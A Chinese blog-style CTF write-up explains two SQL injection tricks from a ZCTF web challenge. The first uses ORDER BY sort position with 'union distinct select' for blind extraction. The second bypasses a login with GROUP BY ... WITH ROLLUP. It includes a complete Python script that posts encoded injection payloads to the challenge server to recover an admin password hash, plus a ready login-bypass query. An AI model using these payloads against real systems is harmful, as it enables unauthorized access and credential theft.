0X00.前言
最近在打zctf的时候,在做一道注入web题目的时候,绕过的方法觉得很有意思。上次看了一篇大牛的博客,发现了一个group by后面的关键字,也觉得很有意思,就把两个注入总结记录下,方便以后自己遇到了查看。
0x01.具体内容
1.利用order by 排序进行盲注。
我们先来看几个数据查询例子:
数据库order by关键字默认按照升序排列,这里我们按照联合查询的第三个字段排序,可以看到由于3的ascii码值比e小,所以union的结果排在了前面。
当我们把联合查询第三个字段的值改为f时,由于ascii(f)>ascii(e),所以union的结果排在了后面。
看了上面两条语句,我们结合zctf的一道web题目来看下这个点的具体利用。
zctf apk这道web题的注入过滤了很多,union和select单独没有过滤,但是连在一起就过滤了,所以只有在中间加一些关键字。中间的关键字有两个:all和distinct,all代表查询结果全部保留不去重,而distinct查询结果去重,经测试union all select过滤了,不加默认为all。那么就只有加distinct关键字了。有人说都可以用union select了,为啥不直接出数据,因为我不知道具体字段名,又有人说为啥不去查,因为还过滤了下划线。
所以综上所诉,在队友的提示下,我想到的就只有用上面的方法盲注了。这道题刚好有一个username的显位,而且只显示查询结果第一行的结果,那么这就可以根据显位的不同作为盲注的判断依据。就像上面的第二个实例一样,在联合查询的第三个字段处提交字符,由于排序的结果不同,显位显示的username就会不同,在显位变化的前一个字符肯定是与password字段对应位置字符相同的,然后保留前面的字符依次一位一位后移判断,直到移完32位最后得到password的md5值。这里说得有点绕,具体流程看脚本吧:
import base64 import requests def crypto(username): username = username[::-1] a2 = '1470' uname = '' i = 0 j = 0 while i < len(username) : uname += chr(ord(username[i]) ^ ord(a2[j%4])) i += 1 j += 1 return uname.encode('hex') result = '' a = list('0123456789abcdef') payloads = list(enumerate(a,start=0)) for i in xrange(1,33): for index,payload in payloads: username = "admin' union DISTINCT select 1,2,'%s%s' order by 3 asc#" % (result,payload) # print username passwd = "" data= {'username':crypto(username),'password':passwd} res = requests.post('http://58.213.63.30:10005/', data = data) # print res.text if 'admin' in res.text: # print a[index-1] if index == 0: result += payload print result break else: result += a[index-1] print result break else: if index == 15: result += a[index] print result break
2.group by with rollup。
在mysql数据库的group by语句存在with rollup修饰语,使用with rollup修饰语可以在group by结果后面额外添加一行,对于group by的列,with rollup将不会做任何的操作,而是返回一个NULL。
那么在一些登录处我们可以构造如下语句绕过登录:
select * from zctf_apk where username = 'admin' or '1'='1' group by password with rollup limit 2,1;
username传入matcha,password传入空就可以登录成功了。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论